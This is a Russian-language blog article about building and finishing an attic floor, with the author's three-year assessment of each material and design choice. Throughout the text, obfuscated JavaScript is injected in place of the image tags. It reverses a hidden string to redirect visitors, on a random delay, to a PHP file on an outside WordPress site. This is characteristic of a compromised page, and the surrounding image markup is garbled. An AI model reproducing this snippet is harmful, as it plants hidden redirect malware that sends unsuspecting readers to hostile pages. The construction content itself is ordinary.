Мансарда: мой опыт строительства и отделки

Несколько лет назад я озадачился строительством мансардного этажа в своем доме. Как и из чего строилась мансарда, а также по каким критериям выбирались материалы — об этом мой рассказ. Также я дам оценку использованным решениям по итогам трех лет эксплуатации.

На фото — интерьер мансарды в моем доме. Чистовая отделка помещения закончена три с половиной года назад.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-interer-mansardy-v-moem-dome-chistovaya-o-600×338.jpg» alt=»На фото — интерьер мансарды в моем доме. Чистовая отделка помещения закончена три с половиной года назад.» width=»600″ height=»338″ /> На фото — интерьер мансарды в моем доме. Чистовая отделка помещения закончена три с половиной года назад.

Определения

Мансардный этаж использует чердачное пространство под двускатной крышей. От холодного чердачного помещения он отличается:

Утеплением и наличием источника тепла (читай — возможностью круглогодичного проживания);
Наличием вертикальных боковых стен высотой не менее полуметра.

С точки зрения жилищного законодательства это жилое помещение, облагаемое налогом наравне с полноценными этажами дома.

Весь потолок мансарды или его часть может иметь уклон, сформированный стропилами. Из соображений экономии полезного пространства чистовой потолок подшивается непосредственно к стропильной конструкции.

По той же причине практикуется строительство ломаной, или мансардной крыши: она позволяет получить максимальную высоту потолка в центральной части помещения при минимальной высоте конька.

Ломаная двускатная крыша: полезная площадь мансарды с приемлемой высотой потолка максимальна.

Несколько альтернативных конструкций мансард для прямой двускатной крыши.

Дано

Вначале я опишу обстановку на момент начала строительства.

Конструкция дома: таунхаус с жилым и цокольным этажами, запертый между двумя постройками большей высоты.

Перекрытия: плитные железобетонные.

Крыша: шиферная односкатная. Скат направлен вдоль длинной стороны дома. Максимальная высота холодного чердака — 1,2 метра; несущие стены выше уровня перекрытия над первым этажом отсутствуют.

Бюджет строительства: 400 000 рублей в ценах 2013 года. Как обстоят дела с деньгами после переезда и покупки дома — думаю, можно не объяснять. Соответственно, главным определяющим фактором в выборе того или иного материала была его цена.

Строительство

Лестница и балкон

Второй этаж волей-неволей пришлось снабдить отдельным входом: укрепление плитного перекрытия с последующей установкой внутренней лестницы поглотило бы существенную часть скромного бюджета.

Балкон и мансардный этаж: вид из двора.

Основой конструкции балкона стал стальной каркас:

Стойки — труба диаметром 108 мм;
Балки — уголок 100х50 мм;
Лаги под настил — уголок 50х50 мм.

На снимке частично виден каркас балкона — стойки и балки под настил.

Лестница — винтовая:

Проступи ступеней я изготовил из покрашенной резиновой гидроизолирующей краской фанеры толщиной 12 мм;
Настил балкона — из уложенной в 2-3 слоя ориентированно-стружечной плиты;
Швы между листами ОСП были прошпаклеваны, а сам настил покрашен той же резиновой краской.

Винтовая лестница, ведущая в мансарду. Материал ступеней — фанера, покрашенная резиновой краской. Порожки на краях проступей не дают ноге соскользнуть.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovaya-lestnitsa-veduschaya-v-mansardu-material-600×338.jpg» alt=»Винтовая лестница, ведущая в мансарду. Материал ступеней — фанера, покрашенная резиновой краской. Порожки на краях проступей не дают ноге соскользнуть.» width=»600″ height=»338″ /> Винтовая лестница, ведущая в мансарду. Материал ступеней — фанера, покрашенная резиновой краской. Порожки на краях проступей не дают ноге соскользнуть.

Оценка: конструкция нуждается в доработке.

Протекшая в надежно, казалось бы, заделанные швы настила вода заставила ОСП загнить. Настил придется менять. Для замены я планирую использовать ламинированную фанеру толщиной 21 мм с обязательной пропиткой торцов горячей олифой;

Протекающая через швы вода заставила листы настила разбухнуть и загнить.

Винтовая лестница неплохо выглядит, но крайне неудобна для переноски габаритных стройматериалов (той же ОСП) и мебели. Сейчас бы я предпочел прямую лестницу в два пролета.

Крыша

Для стропильной системы был закуплен брус сечением 100х50 мм. Крыша — ломаная; угол наклона кровли меняется с 20 на 70 градусов к горизонту. Стропильные ноги стянуты между собой ригелями.

Соединение ригелей со стропилами и стропил между собой выполняется болтами или шпильками с широкими шайбами. Саморезы не обеспечивают достаточно надежной связи между брусьями.

Соединение ригелей со стропилами: доски стянуты болтом и гайкой с широкими шайбами.

Роль мауэрлата выполнил брус, уложенный непосредственно на плиты перекрытия и закрепленный на них винтовыми анкерами.

Обрешетка под кровлю: доски толщиной 25 мм, уложенные поперек стропил параллельно коньковому прогону. По обрешетке на крышу уложена гидроизоляционная пленка.

Кровля: на роль кровельного материала был выбран профлист. Он заметно дешевле металлочерепицы и отличается от нее отсутствием поперечной волны. С учетом уклона кровли эта волна, исключающая затекание воды на нахлестах листов, была не нужна.

За крепление профлиста отвечают саморезы с резиновыми прессшайбами.

Материал кровли — профлист. Он крепится к обрешетке кровельными саморезами с резиновыми прессшайбами.

Утепление: двухслойное. Непосредственно под сильно нагревающуюся кровлю уложен 50-миллиметровый слой минваты. Пенопласт той же толщины установлен враспорку между стропилами; просветы в утеплении запенены.

Пароизоляция: подшита мебельным степлером к стропилам.

Оценка: хорошо. Шум кровли в дождь практически полностью поглощается двумя слоями утеплителя. Качество утепления выше всяких похвал: когда летнее солнце стоит в зените, воздух в мансарде не нагревается вообще.

Окна

От мансардных окон в кровле я решил отказаться в силу двух причин:

Уязвимое место крыши с мансардным окном — гидроизоляция примыкания рамы к кровле. Любое ее нарушение приведет к загниванию стропил и увлажнению утеплителя;

От качества гидроизоляции окна зависит срок службы стропильной системы и утеплителя.

Из окон в кровле открывался бы вид на стены более высоких соседних домов. Соответственно, окна обеспечили бы прекрасный обзор интерьера мансардного помещения в моем доме с чужих крыш.

Однако вид на море и горы со стороны торцов мансарды располагал к установке панорамных окон, и я решил, что фронтоны мансардного этажа будут стеклянными.

Вид на гавань со второго этажа моего дома. Разумеется, выходящий на эту сторону фронтон мансарды нуждался в большом окне.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torogo-etazha-moego-doma-razumeet-600×338.jpg» alt=»Вид на гавань со второго этажа моего дома. Разумеется, выходящий на эту сторону фронтон мансарды нуждался в большом окне.» width=»600″ height=»338″ /> Вид на гавань со второго этажа моего дома. Разумеется, выходящий на эту сторону фронтон мансарды нуждался в большом окне.

Площадь окон: 26 квадратных метров (два фронтона по 13 м2).

Профильная система: китайский профиль Hautek. Он несколько проигрывает более дорогим Rehau и KBE в жесткости, но, тем не менее, прекрасно противостоит характерным для Севастополя сильным зимним ветрам.

Производитель фурнитуры: Siegenia-Aubi. На фурнитуре лучше не экономить: именно от нее зависит срок беспроблемной службы окон.

Стеклопакеты: однокамерные энергосберегающие. Они в полтора раза легче двухкамерных, что означает меньшую нагрузку на tona-621″>профиль, и обладают на 15-20% более высоким тепловым сопротивлением.

Энергосберегающий стеклопакет пропускает почти весь видимый свет, но задерживает инфракрасное излучение.

Стоимость: 60000 рублей в ценах 2013 года.

Оценка: удовлетворительно. У панорамных окон в условиях Крыма оказалось несколько довольно существенных недостатков:

На восходе и закате, когда солнце светит в окна, мансарда ощутимо нагревается;
Освещенность помещения комфортна только в пасмурные зимние дни. Солнечным летом она избыточна и мешает увидеть хоть что-то на экране компьютера;
Интерьер мансарды прекрасно просматривается из соседних домов, расположенных выше по склону.

В результате большие и обеспечивающие прекрасный обзор окна большую часть года занавешены плотными шторами.

Большие панорамные окна весь световой день закрыты плотными шторами.

Внутренняя отделка

Строительство мансарды и установка окон были завершены к концу лета 2013 года, и я незамедлительно приступил к внутренней отделке.

Потолок

Я выбрал подвесной потолок из гипсокартона, закрепленного на обрешетке из профиля.

Изображение	Элемент и описание
	Обрешетка: потолочный и потолочный направляющий оцинкованные профили. Направляющий профиль закреплен саморезами непосредственно на рамах окон, потолочный — на стропилах и ригелях при посредстве прямых подвесов.
	Подшивка: стеновой ГКЛ толщиной 12,5 мм. Более тонкий и дешевый потолочный гипсокартон легко повредить на наиболее низких участках потолка: у боковых стен его высота — не больше 2 метров.
	Отделка примыкания к стенам: пенопластовый потолочный плинтус.
	Покраска: акриловая водоэмульсионка. Красить пришлось в 4 слоя: при меньшем количестве слоев просвечивали швы.

Красить любые гипсокартонные конструкции можно как минимум через две недели после шпаклевания швов. Иначе швы будут выделяться цветом при любом количестве слоев краски.

Оценка: трещин по швам за три года не появилось. Потолок полностью сохранил свой первоначальный внешний вид.

Гипсокартонные потолок и стены выглядят так же, как после завершения отделки.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tonnye-potolok-i-steny-vyglyadyat-tak-zhe-338×600.jpg» alt=»Гипсокартонные потолок и стены выглядят так же, как после завершения отделки.» width=»338″ height=»600″ /> Гипсокартонные потолок и стены выглядят так же, как после завершения отделки.

Боковые стены

Материал: 12-миллиметровая фанера. Она подшита саморезами непосредственно к стойкам, установленным под изломом стропильных ног.

Чистовая отделка: стены оклеены стеновыми панелями из МДФ с покрытием виниловой пленкой. В качестве клея можно использовать жидкие гвозди, ПВА или силиконовый герметик. Я применил точечно нанесенный силикон.

Чистовое покрытие стен — панели из МДФ с виниловой пленкой на лицевой поверхности.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovoe-pokrytie-sten-paneli-iz-mdf-s-vinilovoy-600×338.jpg» alt=»Чистовое покрытие стен — панели из МДФ с виниловой пленкой на лицевой поверхности.» width=»600″ height=»338″ /> Чистовое покрытие стен — панели из МДФ с виниловой пленкой на лицевой поверхности.

Встроенная мебель: пространство между наклонной крышей и боковыми стенами мансарды использовано для размещения нескольких ниш и шкафчиков.

Пространство за боковыми стенами использовано для размещения встроенных шкафов и ниш.

Оценка: великолепно. Виниловая пленка на панелях не собирает загрязнений и легко отмывается от следов грязных детских ручек. Благодаря минимальной толщине стен полезная площадь помещений мансарды почти не уменьшилась.

В деревянном доме для отделки внешних стен лучше использовать натуральную вагонку, а не ее имитацию. Натуральная древесина проницаема для воздуха и не препятствует газообмену с улицей.

Дизайн мансарды на даче: для отделки стен и потока использована сосновая вагонка.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tok-600×450.jpg» alt=»Дизайн мансарды на даче: для отделки стен и потока использована сосновая вагонка.» width=»600″ height=»450″ /> Дизайн мансарды на даче: для отделки стен и потока использована сосновая вагонка.

Перегородки

Гипсокартонные перегородки в моей мансарде выполняют две функции:

Разделяют мансардные комнаты (кабинет и спальню);
Выгораживают расположенный между ними совмещенный санузел.

Материал перегородок — стеновой ГКЛ на каркасе из стоечного и направляющего профиля. Для большей жесткости стойки соединялись попарно.

В перегородках установлена пара дверей:

Между кабинетом и спальней — металлопластиковая, с зеркальным стеклопакетом. Она совмещает функции двери и зеркала;

Зеркальная дверь между спальней и кабинетом. Жена всецело одобряет.

На входе в санузел — изготовленная из МДФ.

Дверь, ведущая в санузел. Рядом — световое окно, обеспечивающее освещение при отключениях света.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovoe-okno-ob-600×338.jpg» alt=»Дверь, ведущая в санузел. Рядом — световое окно, обеспечивающее освещение при отключениях света.» width=»600″ height=»338″ /> Дверь, ведущая в санузел. Рядом — световое окно, обеспечивающее освещение при отключениях света.

Оценка: трещин нет. Незначительные загрязнения на окрашенной поверхности появились только около выключателя.

Пол

Основа пола — настил из 15-миллиметровой ОСП по лагам. Опорные площадки лаг крепились к плитам перекрытия не вполне обычно — не анкерами, а на монтажную пену. По поверхности ОСП настелена подложка из пенополиэтилена и влагостойкий ламинат 32 класса.

Оценка: удовлетворительно. И здесь не обошлось без недочетов:

В некоторых местах пол скрипит. Лаги лучше крепить традиционно, анкерами;
Ламинат «дышит»: зимой, при низких температуре и влажности воздуха между досками появляются щели. Сейчас бы я предпочел ламинату качественный линолеум.

Зимой, при низких температуре и влажности, между досками ламината появляются заметные щели.

Вентиляция

Она сделана принудительной: за отбор воздуха отвечает канальный вентилятор диаметром 100 мм и производительностью 105 кубов в час. Основной объем воздуха отбирается через потолок санузла, меньшая часть — из пространства между крышей и потолком.

Туда воздух попадает через четыре вентиляционных решетки, расположенных по периметру потолка.

Вентиляционная решетка, обеспечивающая отбор воздуха из мансарды.

Материал воздуховодов: канализационная труба диаметром 110 мм, проложенная над стягивающим стропила ригелем.

Вывод вентиляции на улицу: через фронтон над одним из окон.

Оценка: хорошо. Воздух всегда свежий, запахи и сырость в туалете отсутствуют. Конденсат на окнах не появляется даже в самые сильные холода.

Обогрев, кондиционирование

Последним этапом обустройства мансарды была установка в ней инверторного кондиционера производительностью 12000 BTU (4,1 кВт тепловой мощности). Он отвечает и за обогрев зимой, и за кондиционирование воздуха летом. Инструкция к прибору допускает его работу на обогрев при -25 °С на улице, чего вполне достаточно для мягкого крымского климата.

Оценка: великолепно. В минус 20 кондиционер поддерживал в мансарде площадью 60 квадратных метров вполне комфортные +20°С. Летняя жара тоже не страшна: при +35 на улице и ярких солнечных лучах, бьющих в окно, температура в моем кабинете ни разу не поднималась выше +25.

Единственный источник тепла в мансарде площадью 60 квадратов — инверторный кондиционер.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tochnik-tepla-v-mansarde-ploschadyu-600×338.jpg» alt=»Единственный источник тепла в мансарде площадью 60 квадратов — инверторный кондиционер.» width=»600″ height=»338″ /> Единственный источник тепла в мансарде площадью 60 квадратов — инверторный кондиционер.

Заключение

Надеюсь, что мой опыт поможет читателю в собственном строительстве. Узнать больше о том, как устроена мансарда и из чего ее можно построить, вам поможет видео в этой статье. Жду ваших комментариев. Успехов, камрады!